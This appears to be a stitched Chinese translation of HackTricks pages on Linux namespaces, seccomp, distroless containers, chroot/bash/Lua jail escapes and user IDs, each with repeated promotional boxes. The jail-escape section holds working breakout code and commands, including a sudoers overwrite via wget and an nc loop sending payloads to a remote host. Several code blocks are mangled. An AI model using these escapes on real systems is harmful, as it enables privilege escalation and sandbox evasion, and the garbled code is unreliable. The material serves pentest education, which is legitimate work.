unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
```

{% endcode %}

```bash
# Container
sudo unshare -U /bin/bash
nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody

# From the host
ps -ef | grep bash # The user inside the host is still root, not nobody
root       27756   27755  0 21:11 pts/10   00:00:00 /bin/bash
```

### 恢复权限

在用户命名空间的情况下，**当创建一个新的用户命名空间时，进入该命名空间的进程将在该命名空间内被授予完整的权限集**。这些权限允许进程执行特权操作，如**挂载文件系统**、创建设备或更改文件所有权，但**仅限于其用户命名空间的上下文**。

例如，当您在用户命名空间中拥有`CAP_SYS_ADMIN`权限时，您可以执行通常需要此权限的操作，比如挂载文件系统，但仅限于您的用户命名空间的上下文。您使用此权限执行的任何操作都不会影响主机系统或其他命名空间。

{% hint style="warning" %}
因此，即使在新的用户命名空间中获得一个新进程**将使您恢复所有权限**（CapEff: 000001ffffffffff），实际上您**只能使用与命名空间相关的权限**（例如挂载），而不是所有权限。因此，仅凭这一点是不足以逃离 Docker 容器的。
{% endhint %}

\`\`\`bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash

Probando: 0x067 . . . Error Probando: 0x070 . . . Error Probando: 0x074 . . . Error Probando: 0x09b . . . Error Probando: 0x0a3 . . . Error Probando: 0x0a4 . . . Error Probando: 0x0a7 . . . Error Probando: 0x0a8 . . . Error Probando: 0x0aa . . . Error Probando: 0x0ab . . . Error Probando: 0x0af . . . Error Probando: 0x0b0 . . . Error Probando: 0x0f6 . . . Error Probando: 0x12c . . . Error Probando: 0x130 . . . Error Probando: 0x139 . . . Error Probando: 0x140 . . . Error Probando: 0x141 . . . Error Probando: 0x143 . . . Error

```
## 参考资料
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 

</details>
```


# UTS Namespace

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

UTS（UNIX Time-Sharing System）命名空间是Linux内核的一个功能，提供了两个系统标识符的**隔离**：**主机名**和**NIS**（网络信息服务）域名。这种隔离允许每个UTS命名空间具有其**独立的主机名和NIS域名**，在容器化场景中特别有用，其中每个容器应该看起来像一个具有自己主机名的独立系统。

### 工作原理：

1. 创建新的UTS命名空间时，它会从其父命名空间**复制主机名和NIS域名**。这意味着，在创建时，新命名空间**与其父命名空间共享相同的标识符**。但是，在命名空间内对主机名或NIS域名进行的任何后续更改都不会影响其他命名空间。
2. 在UTS命名空间内，进程可以使用`sethostname()`和`setdomainname()`系统调用**更改主机名和NIS域名**。这些更改仅在命名空间内部有效，不会影响其他命名空间或主机系统。
3. 进程可以使用`setns()`系统调用在命名空间之间移动，或者使用带有`CLONE_NEWUTS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时，它将开始使用与该命名空间关联的主机名和NIS域名。

## 实验：

### 创建不同的命名空间

#### 命令行

```bash
sudo unshare -u [--mount-proc] /bin/bash
```

通过使用参数`--mount-proc`挂载`/proc`文件系统的新实例，确保新的挂载命名空间具有**准确且独立的进程信息视图，特定于该命名空间**。

<details>

<summary>错误：bash: fork: 无法分配内存</summary>

当执行`unshare`时没有使用`-f`选项时，会遇到错误，这是由于Linux处理新PID（进程ID）命名空间的方式。以下是关键细节和解决方案：

1. **问题解释**：

* Linux内核允许进程使用`unshare`系统调用创建新的命名空间。然而，发起新PID命名空间创建的进程（称为“unshare”进程）不会进入新的命名空间；只有它的子进程会。
* 运行`%unshare -p /bin/bash%`会在与`unshare`相同的进程中启动`/bin/bash`。因此，`/bin/bash`及其子进程位于原始PID命名空间中。
* 在新命名空间中，`/bin/bash`的第一个子进程变为PID 1。当此进程退出时，如果没有其他进程，它会触发命名空间的清理，因为PID 1具有接管孤立进程的特殊角色。Linux内核随后会在该命名空间中禁用PID分配。

2. **后果**：

* 在新命名空间中，PID 1的退出导致`PIDNS_HASH_ADDING`标志的清除。这会导致`alloc_pid`函数在创建新进程时无法分配新的PID，从而产生“无法分配内存”错误。

3. **解决方案**：

* 可以通过在`unshare`中使用`-f`选项来解决此问题。此选项使`unshare`在创建新PID命名空间后fork一个新进程。
* 执行`%unshare -fp /bin/bash%`确保`unshare`命令本身成为新命名空间中的PID 1。然后，`/bin/bash`及其子进程安全地包含在此新命名空间中，防止PID 1过早退出，并允许正常的PID分配。

通过确保`unshare`使用`-f`标志运行，新的PID命名空间得以正确维护，使`/bin/bash`及其子进程能够正常运行，避免遇到内存分配错误。

</details>

#### Docker

```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```

### 检查您的进程位于哪个命名空间

```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr  4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
```

### 查找所有 UTS 命名空间

{% code overflow="wrap" %}

```bash
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l  {} \; 2>/dev/null | grep <ns-number>
```

{% endcode %}

### 进入 UTS 命名空间

```bash
nsenter -u TARGET_PID --pid /bin/bash
```

此外，只有**root用户**才能**进入另一个进程命名空间**。而且，**没有指向它的描述符**（如`/proc/self/ns/uts`），你**无法**进入其他命名空间。

### 更改主机名

```bash
unshare -u /bin/bash
hostname newhostname # Hostname won't be changed inside the host UTS ns
```

## 参考资料

* <https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Seccomp

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

**Seccomp**，全称Secure Computing mode，是**Linux内核的安全功能，旨在过滤系统调用**。它将进程限制在一组有限的系统调用上（`exit()`、`sigreturn()`、`read()`和`write()`，用于已打开的文件描述符）。如果进程尝试调用其他内容，内核将使用SIGKILL或SIGSYS终止该进程。该机制不会虚拟化资源，而是将进程与资源隔离开来。

有两种激活seccomp的方式：通过`prctl(2)`系统调用使用`PR_SET_SECCOMP`，或者对于Linux内核3.17及以上版本，使用`seccomp(2)`系统调用。通过向`/proc/self/seccomp`写入以启用seccomp的旧方法已被弃用，推荐使用`prctl()`。

一种增强功能**seccomp-bpf**，增加了使用伯克利数据包过滤器（BPF）规则自定义策略来过滤系统调用的能力。此扩展被软件如OpenSSH、vsftpd以及Chrome OS和Linux上的Chrome/Chromium浏览器所利用，用于灵活高效地过滤系统调用，提供了对于Linux中现在不再支持的systrace的替代方案。

### **原始/严格模式**

在此模式下，Seccomp**仅允许系统调用**`exit()`、`sigreturn()`、`read()`和`write()`用于已打开的文件描述符。如果进行任何其他系统调用，进程将被使用SIGKILL终止。

{% code title="seccomp\_strict.c" %}

```
```

{% endcode %}

```c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>

//From https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/
//gcc seccomp_strict.c -o seccomp_strict

int main(int argc, char **argv)
{
int output = open("output.txt", O_WRONLY);
const char *val = "test";

//enables strict seccomp mode
printf("Calling prctl() to set seccomp strict mode...\n");
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

//This is allowed as the file was already opened
printf("Writing to an already open file...\n");
write(output, val, strlen(val)+1);

//This isn't allowed
printf("Trying to open file for reading...\n");
int input = open("output.txt", O_RDONLY);

printf("You will not see this message--the process will be killed first\n");
}
```

### Seccomp-bpf

这种模式允许使用使用伯克利数据包过滤器规则实现的可配置策略来过滤系统调用。

{% code title="seccomp\_bpf.c" %}

```
```

{% endcode %}

```c
#include <seccomp.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

//https://security.stackexchange.com/questions/168452/how-is-sandboxing-implemented/175373
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp

void main(void) {
/* initialize the libseccomp context */
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);

/* allow exiting */
printf("Adding rule : Allow exit_group\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

/* allow getting the current pid */
//printf("Adding rule : Allow getpid\n");
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);

printf("Adding rule : Deny getpid\n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
/* allow changing data segment size, as required by glibc */
printf("Adding rule : Allow brk\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);

/* allow writing up to 512 bytes to fd 1 */
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
SCMP_A0(SCMP_CMP_EQ, 1),
SCMP_A2(SCMP_CMP_LE, 512));

/* if writing to any other fd, return -EBADF */
printf("Adding rule : Deny write to any FD except 1 \n");
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
SCMP_A0(SCMP_CMP_NE, 1));

/* load and enforce the filters */
printf("Load rules and enforce \n");
seccomp_load(ctx);
seccomp_release(ctx);
//Get the getpid is denied, a weird number will be returned like
//this process is -9
printf("this process is %d\n", getpid());
}
```

## Docker中的Seccomp

**Seccomp-bpf**由**Docker**支持，用于限制容器中的**syscalls**，有效减少攻击面。您可以在<https://docs.docker.com/engine/security/seccomp/>找到**默认情况下被阻止的syscalls**，并且可以在此处找到**默认的seccomp配置文件**：<https://github.com/moby/moby/blob/master/profiles/seccomp/default.json>。\
您可以使用以下命令以**不同的seccomp策略**运行docker容器：

```bash
docker run --rm \
-it \
--security-opt seccomp=/path/to/seccomp/profile.json \
hello-world
```

如果您想例如**禁止**容器执行一些**系统调用**，比如 `uname`，您可以从<https://github.com/moby/moby/blob/master/profiles/seccomp/default.json>下载默认配置文件，然后只需**从列表中删除 `uname` 字符串**。\
如果您想确保**某个二进制文件在 Docker 容器中无法运行**，您可以使用 strace 列出二进制文件正在使用的系统调用，然后禁止它们。\
在以下示例中，发现了 `uname` 的**系统调用**：

```bash
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
```

{% hint style="info" %}
如果您只是使用 **Docker 来启动一个应用程序**，您可以使用 **`strace`** 来为其创建 **配置文件**，并且只允许其需要的 **系统调用**
{% endhint %}

### 示例 Seccomp 策略

[示例来自这里](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)

为了说明 Seccomp 功能，让我们创建一个 Seccomp 配置文件，禁用 "chmod" 系统调用，如下所示。

```json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "chmod",
"action": "SCMP_ACT_ERRNO"
}
]
}
```

在上述配置文件中，我们将默认操作设置为“允许”，并创建了一个黑名单来禁用“chmod”。为了更安全，我们可以将默认操作设置为“拒绝”，并创建一个白名单来有选择性地启用系统调用。\
以下输出显示了“chmod”调用返回错误，因为在seccomp配置文件中已禁用了它。

```bash
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
chmod: /etc/hosts: Operation not permitted
```

以下输出显示了“docker inspect”显示的配置文件：

```json
"SecurityOpt": [
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
],
```

### 在Docker中停用它

使用标志启动一个容器：**`--security-opt seccomp=unconfined`**

截至Kubernetes 1.19，**所有Pod默认启用seccomp**。然而，应用于Pod的默认seccomp配置文件是由容器运行时（例如Docker、containerd）提供的“**RuntimeDefault**”配置文件。这个“RuntimeDefault”配置文件允许大多数系统调用，同时阻止一些被认为是危险的或容器通常不需要的系统调用。


# Weaponizing Distroless

<details>

<summary><strong>从零开始学习AWS黑客技术，成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。\*\*

</details>

## 什么是Distroless

Distroless容器是一种**只包含运行特定应用程序所需依赖的容器**，不包含任何不必要的软件或工具。这些容器旨在尽可能地**轻量级**和**安全**，并通过移除任何不必要的组件来**最小化攻击面**。

Distroless容器通常用于**安全性和可靠性至关重要的生产环境**。

一些**Distroless容器的例子**包括：

* 由**Google**提供：<https://console.cloud.google.com/gcr/images/distroless/GLOBAL>
* 由**Chainguard**提供：<https://github.com/chainguard-images/images/tree/main/images>

## 武器化Distroless

武器化Distroless容器的目标是能够**执行任意二进制文件和有效载荷，即使存在Distroless的限制**（系统中缺少常见二进制文件）以及通常在容器中发现的保护措施，如`/dev/shm`的**只读**或**不执行**。

### 通过内存

将在2023年的某个时候到来...

### 通过现有二进制文件

#### openssl

[**在这篇文章中，**](https://www.form3.tech/engineering/content/exploiting-distroless-images) **解释了为什么在这些容器中经常发现`openssl`二进制文件，可能是因为它需要**由即将在容器内运行的软件。

滥用\*\*`openssl`**二进制文件可以**执行任意操作\*\*。

<details>

<summary><strong>从零开始学习AWS黑客技术，成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。\*\*

</details>


# Escaping from Jails

<details>

<summary><strong>从零开始学习AWS黑客攻击直至成为专家，通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## **GTFOBins**

**在** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **搜索是否可以执行任何具有"Shell"属性的二进制文件**

## Chroot逃逸

来自[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations)：Chroot机制**不旨在防御**有意篡改的**特权**（**root**）**用户**。在大多数系统上，chroot上下文不能正确堆叠，具有足够权限的chroot程序**可以执行第二次chroot以逃脱**。\
通常这意味着要逃脱，你需要在chroot内部成为root。

{% hint style="success" %}
**工具** [**chw00t**](https://github.com/earthquake/chw00t) 被创建来滥用以下场景并从`chroot`中逃脱。
{% endhint %}

### Root + CWD

{% hint style="warning" %}
如果你在chroot内部是**root**，你**可以逃脱**创建**另一个chroot**。这是因为在Linux中，两个chroots不能共存，所以如果你创建一个文件夹，然后在这个新文件夹上**创建一个新的chroot**，并且**你在它外面**，你现在将会**在新chroot的外面**，因此你将会在文件系统中。

这是因为通常chroot**不会**将你的工作目录移动到指定的目录，所以你可以创建一个chroot但在外面。
{% endhint %}

通常你不会在chroot监狱内找到`chroot`二进制文件，但你**可以编译、上传并执行**一个二进制文件：

<details>

<summary>C: break_chroot.c</summary>

\`\`\`c #include #include #include

//gcc break\_chroot.c -o break\_chroot

int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }

````
</details>

<details>

<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
````

\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`

</details>

### Root + 已保存的文件描述符

{% hint style="warning" %}
这种情况与前一个案例类似，但在这种情况下，**攻击者存储了一个指向当前目录的文件描述符**，然后**在新文件夹中创建chroot**。最后，由于他可以**访问**那个**FD**，并且该FD位于chroot**之外**，他访问它并且**逃逸**。
{% endhint %}

<details>

<summary>C: break_chroot.c</summary>

\`\`\`c #include #include #include

//gcc break\_chroot.c -o break\_chroot

int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }

````
</details>

### Root + Fork + UDS (Unix Domain Sockets)

<div data-gb-custom-block data-tag="hint" data-style='warning'>

FD 可以通过 Unix Domain Sockets 传递，因此：

* 创建子进程 (fork)
* 创建 UDS 以便父子进程通信
* 在子进程中运行 chroot 到不同文件夹
* 在父进程中创建一个 FD，指向子进程 chroot 外的文件夹
* 通过 UDS 将该 FD 传递给子进程
* 子进程 chdir 到该 FD，由于它位于其 chroot 外部，它将逃离监狱

</div>

### Root + Mount

<div data-gb-custom-block data-tag="hint" data-style='warning'>

* 将根设备 (/) 挂载到 chroot 内部的目录中
* Chroot 进入该目录

这在 Linux 中是可能的

</div>

### Root + /proc

<div data-gb-custom-block data-tag="hint" data-style='warning'>

* 将 procfs 挂载到 chroot 内部的目录中（如果尚未挂载）
* 寻找具有不同 root/cwd 条目的 pid，例如：/proc/1/root
* Chroot 进入该条目

</div>

### Root(?) + Fork

<div data-gb-custom-block data-tag="hint" data-style='warning'>

* 创建 Fork（子进程）并 chroot 进入文件系统更深层的不同文件夹，并在其中 CD
* 从父进程中，将子进程所在的文件夹移动到子进程 chroot 之前的文件夹
* 这个子进程将发现自己在 chroot 外部

</div>

### ptrace

<div data-gb-custom-block data-tag="hint" data-style='warning'>

* 过去用户可以从其自身的进程中调试自己的进程... 但这默认不再可能
* 无论如何，如果可能，你可以 ptrace 进入一个进程并在其中执行 shellcode（[参见此示例](linux-capabilities.md#cap_sys_ptrace)）。

</div>

## Bash 监狱

### 枚举

获取关于监狱的信息：
```bash
echo $SHELL
echo $PATH
env
export
pwd
````

**修改 PATH**

检查是否可以修改 PATH 环境变量

```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
```

**使用 vim**

```bash
:set shell=/bin/sh
:shell
```

**创建脚本**

检查是否可以创建一个内容为 */bin/bash* 的可执行文件

```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```

**通过 SSH 获取 bash**

如果您通过 ssh 访问，可以使用这个技巧来执行一个 bash shell：

```bash
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
```

**声明**

```bash
declare -n PATH; export PATH=/bin;bash -i

BASH_CMDS[shell]=/bin/bash;shell -i
```

**Wget**

你可以覆盖例如sudoers文件

```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
```

**其他技巧**

以下页面包含了关于逃离受限Linux shell的技巧：

[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
<https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells>\
<https://gtfobins.github.io>\
**以下页面也可能有趣：**

#### Python 监狱

关于逃离Python监狱的技巧，请参阅以下页面：

#### Lua 监狱

在此页面中，你可以找到在Lua中可以访问的全局函数：<https://www.gammon.com.au/scripts/doc.php?general=lua_base>

**使用命令执行的Eval：**

```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
```

一些**不使用点调用库函数**的技巧：

```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```

列举库的函数：

```bash
for k,v in pairs(string) do print(k,v) end
```

请注意，每次在**不同的lua环境中执行前面的单行命令时，函数的顺序都会改变**。因此，如果您需要执行一个特定的函数，您可以通过加载不同的lua环境并调用库的第一个函数来执行暴力破解攻击：

```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```

**获取交互式lua shell**：如果你处于一个受限的lua shell中，你可以通过以下方式调用来获取一个新的lua shell（希望是无限制的）：

```bash
debug.debug()
```

#### 参考资料

* <https://www.youtube.com/watch?v=UO618TeyCWo> (幻灯片: <https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf>)

</details>


# euid, ruid, suid

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**吗？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family)，我们独家[NFTs的收藏品\*\*](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

### 用户识别变量

* **`ruid`**：**真实用户ID**表示启动进程的用户。
* **`euid`**：被称为**有效用户ID**，代表系统用于确定进程特权的用户身份。通常情况下，`euid`与`ruid`相同，除了像执行SetUID二进制文件这样的情况，其中`euid`会承担文件所有者的身份，从而授予特定的操作权限。
* **`suid`**：这个**保存的用户ID**在高特权进程（通常以root身份运行）需要暂时放弃特权以执行某些任务时至关重要，然后再恢复其初始的提升状态。

#### 重要说明

一个未以root身份运行的进程只能修改其`euid`以匹配当前的`ruid`、`euid`或`suid`。

### 理解set\*uid函数

* **`setuid`**：与最初的假设相反，`setuid`主要修改`euid`而不是`ruid`。特别是对于特权进程，它将`ruid`、`euid`和`suid`与指定用户（通常是root）对齐，有效地由于覆盖`suid`而巩固这些ID。详细见[setuid man页面](https://man7.org/linux/man-pages/man2/setuid.2.html)。
* **`setreuid`和`setresuid`**：这些函数允许对`ruid`、`euid`和`suid`进行微妙的调整。但是，它们的功能取决于进程的特权级别。对于非root进程，修改受限于`ruid`、`euid`和`suid`的当前值。相反，具有`CAP_SETUID`能力的root进程或这些进程可以将这些ID分配任意值。更多信息请参阅[setresuid man页面](https://man7.org/linux/man-pages/man2/setresuid.2.html)和[setreuid man页面](https://man7.org/linux/man-pages/man2/setreuid.2.html)。

这些功能的设计不是作为安全机制，而是为了促进预期的操作流程，例如当程序通过更改其有效用户ID采用另一个用户的身份时。

值得注意的是，虽然`setuid`可能是提升到root的特权的常见选择（因为它将所有ID都与root对齐），但区分这些函数对于理解和操纵不同情况下的用户ID行为至关重要。

### Linux中的程序执行机制

#### **`execve`系统调用**

* **功能**：`execve`启动一个由第一个参数确定的程序。它接受两个数组参数，`argv`用于参数，`envp`用于环境。
* **行为**：保留调用者的内存空间，但刷新堆栈、堆和数据段。程序的代码被新程序替换。
* **用户ID保留**：
* `ruid`、`euid`和附加组ID保持不变。
* 如果新程序设置了SetUID位，`euid`可能会有微妙的变化。
* `suid`在执行后从`euid`更新。
* **文档**：详细信息请参阅[`execve` man页面](https://man7.org/linux/man-pages/man2/execve.2.html)。

